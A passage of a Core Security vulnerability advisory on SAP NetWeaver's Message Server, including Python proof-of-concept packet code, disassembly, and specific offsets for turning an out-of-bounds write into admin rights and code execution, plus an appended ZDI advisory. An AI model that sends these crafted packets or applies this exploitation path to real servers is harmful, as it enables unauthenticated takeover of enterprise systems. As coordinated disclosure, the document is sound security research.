dest="hostname", help="Hostname", default="localhost") parser.add_option("-p", "--port", dest="port", type="int", help="Port number", default=3900) (options, args) = parser.parse_args() client_string = '-'+' '*39 server_name = '-'+' '*39 def send_packet(sock, packet): packet = struct.pack("!I", len(packet)) + packet sock.send(packet) def receive(sock): length = sock.recv(4) (length, ) = struct.unpack("!I", length) data = "" while len(data)<length: data+= sock.recv(length) return (length, data) def initialize_connection(hostname, port): # Connect print "[*] Connecting to", hostname, "port", port connection = socket.socket(socket.AF_INET, socket.SOCK_STREAM) connection.connect((hostname, port)) # Send initialization packet print "[*] Conected, sending login request" init = '**MESSAGE**\x00' # eyecatcher init+= '\x04' # version init+= '\x00' # errorno init+= client_string # toname init+= '\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' # msgtype/reserved/key init+= '\x01\x08' # flag / iflag (MS_LOGIN_2) init+= client_string # fromname init+= '\x00\x00' # padd send_packet(connection, init) # Receive response print "[*] Receiving login reply" (length, data) = receive(connection) # Parsing login reply server_name = data[4+64:4+64+40] return connection # Main PoC body connection = initialize_connection(options.hostname, options.port) send_attack(connection) -----/ In the following subsections, we give the python code that can be added after the script above in order to reproduce all vulnerabilities. 8.1. Malicious packets are processed by the vulnerable function '_MsJ2EE_AddStatistics' in the 'msg_server.exe' module. The vulnerable function '_MsJ2EE_AddStatistics' receives a pointer to a 'MSJ2EE_HEADER' struct as its third parameter, which is fully controlled by the attacker. This struct type is defined as follows: /----- 00000000 MSJ2EE_HEADER struct ; (sizeof=0x28, standard type) 00000000 senderclusterid dd ? 00000004 clusterid dd ? 00000008 serviceid dd ? 0000000C groupid dd ? 00000010 nodetype db ? 00000011 db ? ; undefined 00000012 db ? ; undefined 00000013 db ? ; undefined 00000014 totallength dd ? 00000018 currentlength dd ? 0000001C currentoffset dd ? 00000020 totalblocks db ? 00000021 currentblock db ? 00000021 00000022 db ? ; undefined 00000023 db ? ; undefined 00000024 messagetype dd ? 00000028 MSJ2EE_HEADER ends -----/ The '_MsJ2EE_AddStatistics' function uses the 'serviceid' field of the 'MSJ2EE_HEADER' to calculate an index to write into the 'j2ee_stat_services' global array, without properly validating that the index is within the boundaries of the array. On the other hand, 'j2ee_stat_services' is a global array of 256 elements of type 'MSJ2EE_STAT_ELEMENT': /----- .data:0090B9E0 ; MSJ2EE_STAT_ELEMENT j2ee_stat_services[256] .data:0090B9E0 j2ee_stat_services MSJ2EE_STAT_ELEMENT 100h dup(<?>) .data:0090B9E0 ; DATA XREF: _MsJ2EE_AddStatistics+24o .data:0090B9E0 ; _MsJ2EE_AddStatistics+4Co ... -----/ This vulnerability can be used to corrupt arbitrary memory with arbitrary values, with some restrictions. The following snippet shows the vulnerable code within the '_MsJ2EE_AddStatistics' function: /----- mov edi, [ebp+pJ2eeHeader] mov eax, [edi+MSJ2EE_HEADER.serviceid] ;attacker controls MSJ2EE_HEADER.serviceid xor ecx, ecx cmp dword ptr j2ee_stat_total.totalMsgCount+4, ecx lea esi, [eax+eax*8] lea esi, j2ee_stat_services.totalMsgCount[esi*8] ;using the index without validating array bounds -----/ Since the 'serviceid' value is first multiplied by 9 and then it is multiplied by 8, the granularity of the memory addresses that can be targeted for memory corruption is 0x48 bytes, which is the size of the 'MSJ2EE_STAT_ELEMENT' struct: /----- 00000000 MSJ2EE_STAT_ELEMENT struc ; (sizeof=0x48, standard type) 00000000 ; XREF: .data:j2ee_stat_totalr 00000000 ; .data:j2ee_stat_servicesr 00000000 totalMsgCount dq ? ; XREF: _MsJ2EE_AddStatistics+1Br 00000000 ; _MsJ2EE_AddStatistics+2Fr ... 00000008 totalMsgLength dq ? ; XREF: _MsJ2EE_AddStatistics+192r 00000008 ; _MsJ2EE_AddStatistics+19Br ... 00000010 avgMsgLength dq ? ; XREF: _MsJ2EE_AddStatistics+1C2w 00000010 ; _MsJ2EE_AddStatistics+1C7w ... 00000018 maxLength dq ? ; XREF: _MsJ2EE_AddStatistics+161r 00000018 ; _MsJ2EE_AddStatistics+16Er ... 00000020 noP2PMessage dq ? ; XREF: _MsJ2EE_AddStatistics:loc_44D442w 00000020 ; _MsJ2EE_AddStatistics+158w ... 00000028 noP2PRequest dq ? ; XREF: _MsJ2EE_AddStatistics+144w 00000028 ; _MsJ2EE_AddStatistics+14Aw ... 00000030 noP2PReply dq ? ; XREF: _MsJ2EE_AddStatistics+132w 00000030 ; _MsJ2EE_AddStatistics+138w ... 00000038 noBroadcastMessage dq ? ; XREF: _MsJ2EE_AddStatistics:loc_44D40Dw 00000038 ; _MsJ2EE_AddStatistics+123w ... 00000040 noBroadcastRequest dq ? ; XREF: _MsJ2EE_AddStatistics+10Fw 00000040 ; _MsJ2EE_AddStatistics+115w ... 00000048 MSJ2EE_STAT_ELEMENT ends -----/ However, it is possible to use different combinations of the 'flag/iflag' values in the Message Server packet to gain more precision over the memory addresses that can be corrupted. Different combinations of 'flag/iflag' values provide different memory corruption primitives, as shown below: /----- At this point: * ESI points to an arbitrary, attacker-controlled memory address * EBX == 1 .text:0044D359 movzx eax, [ebp+msiflag] .text:0044D35D sub eax, 0Ch .text:0044D360 jz short loc_44D37C .text:0044D362 sub eax, ebx .text:0044D364 jnz short loc_44D39D .text:0044D366 cmp [ebp+msflag], 2 .text:0044D36A jnz short loc_44D374 .text:0044D36C add [esi+40h], ebx ; iflag=0xd, flag=2 => add 1 to [esi+0x40] .text:0044D36F adc [esi+44h], ecx .text:0044D372 jmp short loc_44D39D .text:0044D374 ; --------------------------------------------------------------------------- .text:0044D374 .text:0044D374 loc_44D374: ; CODE XREF: _MsJ2EE_AddStatistics+7Aj .text:0044D374 add [esi+38h], ebx ; iflag=0xd, flag=1 => add 1 to [esi+0x38] .text:0044D377 adc [esi+3Ch], ecx .text:0044D37A jmp short loc_44D39D .text:0044D37C ; --------------------------------------------------------------------------- .text:0044D37C .text:0044D37C loc_44D37C: ; CODE XREF: _MsJ2EE_AddStatistics+70j .text:0044D37C mov al, [ebp+msflag] .text:0044D37F cmp al, 3 .text:0044D381 jnz short loc_44D38B .text:0044D383 add [esi+30h], ebx ; iflag=0xc, flag=3 => add 1 to [esi+0x30] .text:0044D386 adc [esi+34h], ecx .text:0044D389 jmp short loc_44D39D .text:0044D38B ; --------------------------------------------------------------------------- .text:0044D38B .text:0044D38B loc_44D38B: ; CODE XREF: _MsJ2EE_AddStatistics+91j .text:0044D38B cmp al, 2 .text:0044D38D jnz short loc_44D397 .text:0044D38F add [esi+28h], ebx ; iflag=0xc, flag=2 => add 1 to [esi+0x28] .text:0044D392 adc [esi+2Ch], ecx .text:0044D395 jmp short loc_44D39D .text:0044D397 ; --------------------------------------------------------------------------- .text:0044D397 .text:0044D397 loc_44D397: ; CODE XREF: _MsJ2EE_AddStatistics+9Dj .text:0044D397 add [esi+20h], ebx ; iflag=0xc, flag=1 => add 1 to [esi+0x20] .text:0044D39A adc [esi+24h], ecx [...] -----/ And the following code excerpt is always executed within the '_MsJ2EE_AddStatistics' function, providing two more memory corruption primitives: /----- .text:0044D3B7 add [esi], ebx ;add 1 to [esi] .text:0044D3B9 adc dword ptr [esi+4], 0 .text:0044D3BD mov eax, [edi+MSJ2EE_HEADER.totallength] ;MSJ2EE_HEADER.totallength is fully controlled by the attacker .text:0044D3C0 cdq .text:0044D3C1 add [esi+8], eax ;add an arbitrary number to [esi+8] -----/ This memory corruption vulnerability can be used by remote unauthenticated attackers to execute arbitrary code on vulnerable installations of SAP Netweaver, but it can also be abused to modify the internal state of the vulnerable service in order to gain administrative privileges within the SAP Netweaver Message Server. A client connected to the Message Server may have administrative privileges or not. The Message Server holds a structure of type 'MSADM_s' for each connected client, which contains information about that very connection. Relevant parts of the 'MSADM_s' struct type are shown below: /----- 00000000 MSADM_s struc ; (sizeof=0x538, standard type) 00000000 ; XREF: .data:dummy_clientr 00000000 client_type dd ? ; enum MS_CLIENT_TYPE 00000004 stat dd ? ; enum MS_STAT 00000008 connection_ID dd ? 0000000C status db ? 0000000D dom db ? ; XREF: MsSFillCon+3Cw 0000000E admin_allowed db ? 0000000F db ? ; undefined 00000010 name dw 40 dup(?) [...] 00000534 _padding db 4 dup(?) 00000538 MSADM_s ends -----/ The 'admin_allowed' field at offset 0x0E is a boolean value that indicates whether the connected client has administrative privileges or not. When a new client connects, the 'MsSLoginClient' function of the Message Server sets the proper value for the 'admin_allowed' field in the 'MSADM_s' struct instance associated with that client: /----- .text:004230DC loc_4230DC: ; CODE XREF: MsSLoginClient+AAAj .text:004230DC ; MsSLoginClient+B26j .text:004230DC cmp byte ptr [edi+0Eh], 0 ; privileged client? .text:004230E0 jnz short loc_4230EA ; if yes, jump .text:004230E2 mov al, byte ptr ms_admin_allowed ; otherwise, grab the value of the "ms_admin_allowed" global variable... .text:004230E7 mov [edi+0Eh], al ; ...and save it to MSADM_s.admin_allowed -----/ So if we manage to overwrite the value of the 'ms_admin_allowed' global variable with a value different than 0, then we can grant administrative privileges to our unprivileged connections. In SAP Netweaver 'msg_server.exe' v7200.70.18.23869, the 'ms_admin_allowed' global variable is located at '0x008f17f0': /----- .data:008F17F0 ; int ms_admin_allowed .data:008F17F0 ms_admin_allowed dd ? ; DATA XREF: MsSSetMonitor+7Ew .data:008F17F0 ; MsSLoginClient+B62r -----/ And the 'j2ee_stat_services' global array, which is the array that can be indexed outside its bounds, is located at '0x0090b9e0': /----- .data:0090B9E0 ; MSJ2EE_STAT_ELEMENT j2ee_stat_services[256] .data:0090B9E0 j2ee_stat_services MSJ2EE_STAT_ELEMENT 100h dup(<?>) .data:0090B9E0 ; DATA XREF: _MsJ2EE_AddStatistics+24o .data:0090B9E0 ; _MsJ2EE_AddStatistics+4Co ... -----/ So, by providing 'MSJ2EE_HEADER.serviceid == 0x038E3315', we will be targeting '0x008F17C8' as the base address for memory corruption. Having in mind the different memory corruption primitives based on combinations of 'flag/iflag' fields described above, by specifying 'iflag == 0xC' and 'flag == 0x2' in our Message Server packet we will be able to add 1 to '[0x008F17C8+0x28]', effectively overwriting the contents of '0x008F17F0' ('ms_admin_allowed'). After overwriting 'ms_admin_allowed', all of our future connections will have administrative privileges within the Message Server. After gaining administrative privileges for our future connections, there are at least two possible paths of exploitation: 1. Of course it is not mandatory to have administrative privileges in order to overwrite function pointers, but considering the limitation of targetable addresses imposed by the little granularity of the memory corruption, some of the most handy-to-exploit function pointers happened to be accessible just for administrative connections. 2. Modify the configuration and behavior of the server. That includes changing Message Server's runtime parameters and enabling Monitor Mode in the affected server. 8.1.1. *Gaining remote code execution by overwriting function pointers* Having in mind that the granularity of the memory addresses that can be targeted for memory corruption is not that flexible (0x48 bytes) and the limited memory corruption primitives available, it takes some effort to find a function pointer that can be overwritten with a useful value and which can be later triggered with a network packet. One possibility is to overwrite one of the function pointers which are in charge of handling the modification of Message Server parameters: /----- .data:0087DED0 ; SHMPRF_CHANGEABLE_PARAMETER ms_changeable_parameter[58] ; function pointers associated to the modification of the "ms/max_sleep" parameter .data:0087DED0 ms_changeable_parameter SHMPRF_CHANGEABLE_PARAMETER <offset aMsMax_sleep, \ .data:0087DED0 offset MsSTestInteger, \ ; "rdisp/TRACE_PATTERN_2" .data:0087DED0 offset MsSSetMaxSleep> ; function pointers associated to the modification of the "ms/max_vhost" parameter .data:0087DED0 SHMPRF_CHANGEABLE_PARAMETER <offset aMsMax_vhost, \ .data:0087DED0 offset MsSTestInteger, \ ;<-- we can overwrite this one .data:0087DED0 offset MsSSetMaxVirtHost> [...] -----/ By providing 'MSJ2EE_HEADER.serviceid == 0x038E1967' we can target '0x0087DED8' as the base address for memory corruption. In this case we can use the memory corruption primitive at address '0x0044D3C1' that always gets executed, which will allow us to add an arbitrary number (the value of 'MSJ2EE_HEADER.totallength') to '[0x0087DED8+8]' effectively overwriting the function pointer shown above ('ms_changeable_parameter[1].set'). After that we need to send a 'MS_SET_PROPERTY' request, specifying 'ms/max_vhost' as the name of the property to be changed. This 'MS_SET_PROPERTY' packet will make our overwritten function pointer to be called from the 'MsSChangeParam' function: /----- .text:00404DB3 loc_404DB3: ; CODE XREF: MsSChangeParam+CDj .text:00404DB3 lea esi, [edi+edi*2] .text:00404DB6 mov edi, [ebp+pvalue] .text:00404DB9 add esi, esi .text:00404DBB mov edx, ms_changeable_parameter.test[esi+esi] .text:00404DC2 add esi, esi .text:00404DC4 push edi .text:00404DC5 push pname .text:00404DC6 call edx ; call our overwritten function pointer -----/ 'MS_SET_PROPERTY' packets will be ignored by the Message Server if the requesting client does not have administrative privileges, so it is necessary to gain administrative privileges as explained above before using the memory corruption vulnerability to overwrite one of the function pointers in the 'ms_changeable_parameter' global array. 8.1.2. *Modify the configuration and behavior of the server* After gaining administrative privileges for our connections, it is possible to perform 'MS_SET_PROPERTY' packets against the Message Server in order to modify its configuration and behavior. That makes possible, for example, to add virtual hosts to the load balancer, or to enable Monitor Mode [3] (transaction SMMS) on the affected server. Enabling Monitor Mode takes two steps: 1. Send a 'MS_SET_PROPERTY' packet with property 'name == "ms/monitor"', property 'value == 1'. 2. Send a 'MS_SET_PROPERTY' packet with property 'name == "ms/admin_port"', property 'value == 3535' (or any other arbitrary port number). The following python code can be used to trigger the vulnerability: /----- def send_attack(connection): print "[*] Sending crash packet" crash = '**MESSAGE**\x00' # eyecatcher crash+= '\x04' # version crash+= '\x00' # errorno crash+= server_name # toname crash+= '\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' # msgtype/reserved/key crash+= '\x04\x0d' # flag/iflag crash+= client_string # fromname crash+= '\x00\x00' # padd crash+= "ABCDEFGH"+"\x01\x00\x00\x00"+"MNOPQRSTUVWXYZ0123"+"\x01"+"56789abcd" crash+= "\x00\x00\x00\x01" crash+= "\xff\xff\xff\xff" crash+= "\x00\x00\x00\x00" send_packet(connection, crash) print "[*] Crash sent !" -----/ 8.2. Malicious packets are processed by the vulnerable function 'WRITE_C' in the 'msg_server.exe' module. The following python code can be used to trigger the vulnerability: /----- def send_attack(connection): print "[*] Sending crash packet" crash = '**MESSAGE**\x00' # eyecatcher crash+= '\x04' # version crash+= '\x00' # errorno crash+= server_name # toname crash+= '\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' # msgtype/reserved/key crash+= '\x04\x05' # flag/iflag crash+= client_string # fromname crash+= '\x00\x00' # padd crash+= "AD-EYECATCH\x00" crash+= "\x01\x01" crash+= "%11d" % 104 crash+= "%11d" % 1 crash+= "\x15\x00\x00\x00" crash+= "\x20\x00\x00\xc8" crash+= "LALA" + ' '*(20-4) crash+= "LOLO" + ' '*(40-4) crash+= " "*36 send_packet(connection, crash) print "[*] Crash sent !" -----/ 9. *Report Timeline* . 2012-12-10: Core Security Technologies notifies the SAP team of the vulnerability, setting the estimated publication date of the advisory for January 22nd, 2013. 2012-12-10: Core sends an advisory draft with technical details and a PoC. 2012-12-11: The SAP team confirms the reception of the issue. 2012-12-21: SAP notifies that they concluded the analysis of the reported issues and confirms two out of the five vulnerabilities. Vendor also notifies that the other three reported issues were already fixed in February, 2012. Vendor also notifies that the necessary code changes are being done and extensive tests will follow. The corresponding security note and patches are planned to be released on the Security Patch Day in Feb 12th 2013. 2012-12-21: Core re-schedules the advisory publication for Feb 12th, 2013. 2012-12-28: SAP notifies Core that they will be contacted if tests fails in order to re-schedule the advisory publication. 2013-01-22: First release date missed. 2013-01-28: SAP notifies that they are still confident with releasing a security note and patches on Feb 12th as planned. 2013-01-29: Core acknowledges receiving the information and notifies that everything is ready for public disclosing on Feb 12th. Core also asks additional information regarding the patched vulnerabilities mentioned in [2012-12-21], including links to security bulletin, CVEs, and patches in order to verify if those patches effectively fix the reported flaws. 2013-02-01: SAP notifies that the patched vulnerabilities mentioned in [2012-12-21] were reported in [5] and no CVE were assigned to them. Those vulnerabilities seems to be related to ZDI advisories [6], [7], [8]. 2013-02-06: Core notifies that the patched vulnerabilities will be removed from the advisory and asks additional information regarding the affected and patched version numbers. 2013-02-01: SAP notifies that the security note 1800603 will be released and that note will provide further information regarting this vulnerability. 2013-02-13: Advisory CORE-2012-1128 published. 10. *References* [1] http://www.sap.com/platform/netweaver/index.epx. [2] SAP Security note Feb 2013 https://service.sap.com/sap/support/notes/1800603. [3] http://help.sap.com/saphelp_nw70ehp2/helpdata/en/47/bdc344cc104231e10000000a421937/content.htm. [4] http://help.sap.com/saphelp_nw70ehp2/helpdata/en/47/c2e782b8fd3020e10000000a42189d/frameset.htm. [5] SAP Security notes Feb 2012 https//service.sap.com/sap/support/notes/1649840. [6] http://www.zerodayinitiative.com/advisories/ZDI-12-104/. [7] http://www.zerodayinitiative.com/advisories/ZDI-12-111/. [8] http://www.zerodayinitiative.com/advisories/ZDI-12-112/. 11. *About CoreLabs* CoreLabs, the research center of Core Security Technologies, is charged with anticipating the future needs and requirements for information security technologies. We conduct our research in several important areas of computer security including system vulnerabilities, cyber attack planning and simulation, source code auditing, and cryptography. Our results include problem formalization, identification of vulnerabilities, novel solutions and prototypes for new technologies. CoreLabs regularly publishes security advisories, technical papers, project information and shared software tools for public use at: http://corelabs.coresecurity.com. 12. *About Core Security Technologies* Core Security Technologies enables organizations to get ahead of threats with security test and measurement solutions that continuously identify and demonstrate real-world exposures to their most critical assets. Our customers can gain real visibility into their security standing, real validation of their security controls, and real metrics to more effectively secure their organizations. Core Security's software solutions build on over a decade of trusted research and leading-edge threat expertise from the company's Security Consulting Services, CoreLabs and Engineering groups. Core Security Technologies can be reached at +1 (617) 399-6980 or on the Web at: http://www.coresecurity.com. 13. *Disclaimer* The contents of this advisory are copyright (c) 2012 Core Security Technologies and (c) 2012 CoreLabs, and are licensed under a Creative Commons Attribution Non-Commercial Share-Alike 3.0 (United States) License: http://creativecommons.org/licenses/by-nc-sa/3.0/us/ 14. *PGP/GPG Keys* This advisory has been signed with the GPG key of Core Security Technologies advisories team, which is available for download at http://www.coresecurity.com/files/attachments/core_security_advisories.asc. -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 ZDI-12-104 : SAP Netweaver ABAP msg_server.exe Parameter Value Remote Code Execution Vulnerability http://www.zerodayinitiative.com/advisories/ZDI-12-104 June 27, 2012 - -- CVE ID: - -- CVSS: 10, AV:N/AC:L/Au:N/C:C/I:C/A:C - -- Affected Vendors: SAP - -- Affected Products: SAP NetWeaver - -- TippingPoint(TM) IPS Customer Protection: TippingPoint IPS customers have been protected against this vulnerability by Digital Vaccine protection filter ID 12407. - -- Vendor Response: SAP has issued an update to correct this vulnerability. More details can be found at: http://www.sdn.sap.com/irj/sdn/index?rid=/webcontent/uuid/c05604f6-4eb3-2d1 0-eea7-ceb666083a6a#section40 - -- Disclosure Timeline: 2011-10-28 - Vulnerability reported to vendor 2012-06-27 - Coordinated public release of advisory - -- Credit: This vulnerability was discovered by: * e6af8de8b1d4b2b6d5ba2610cbf9cd38 - -- About the Zero Day Initiative (ZDI): Established by TippingPoint, The Zero Day Initiative (ZDI) represents a best-of-breed model for rewarding security researchers for responsibly disclosing discovered vulnerabilities. Researchers interested in getting paid for their security research through the ZDI can find more information and sign-up at: http://www.zerodayinitiative.com The ZDI is unique in how the acquired vulnerability information is used. Instead, upon notifying the affected product vendor, TippingPoint provides its customers with zero day protection through its intrusion prevention technology. Explicit details regarding the specifics of the vulnerability are not exposed to any parties until an official vendor patch is publicly available. Furthermore, with the altruistic aim of helping to secure a broader user base, TippingPoint provides this vulnerability information confidentially to security vendors (including competitors) who have a vulnerability protection or mitigation product. Our vulnerability disclosure policy is available online at: http://www.zerodayinitiative.com/advisories/disclosure_policy/ Follow the ZDI on Twitter: http://twitter.com/thezdi -----BEGIN PGP SIGNATURE----- Version: PGP Desktop 10.2.0 (Build 1950) Charset: utf-8 wsBVAwUBT+spXFVtgMGTo1scAQLsaAf7BDBhaaXu2xrm0nKo4KXmCuA091M40I4t uAkVEE7Zb4eFCtth3tsGSExGqDJp5LKfMe+KNfXUHMWcju+khxep8qfwxhnrtK2E 1doQXQmrqCJunJLKwReEa5MpcZGsYyantq0kCczWf5ZYlzLEsSk51GEYfvHx7WrR XFTr4krClMcDxi9nOxNDr/CqqGxxQlDgBsMD3EyzVQ92PBG8kTZHUAJwBPqh7Ku3 JqBWzVKDVVEsGxe7dlG4fXKIaDlCHaHJmsAr7+1Uw/DmfDOaTQMLRLvdGHY9Vpm6 wGIQD/1eAW66eLSBOeWXiRNHcorXRwu/SxQP8zIESkmWLZwKfZqbMA== =t/ct -----END PGP SIGNATURE----- |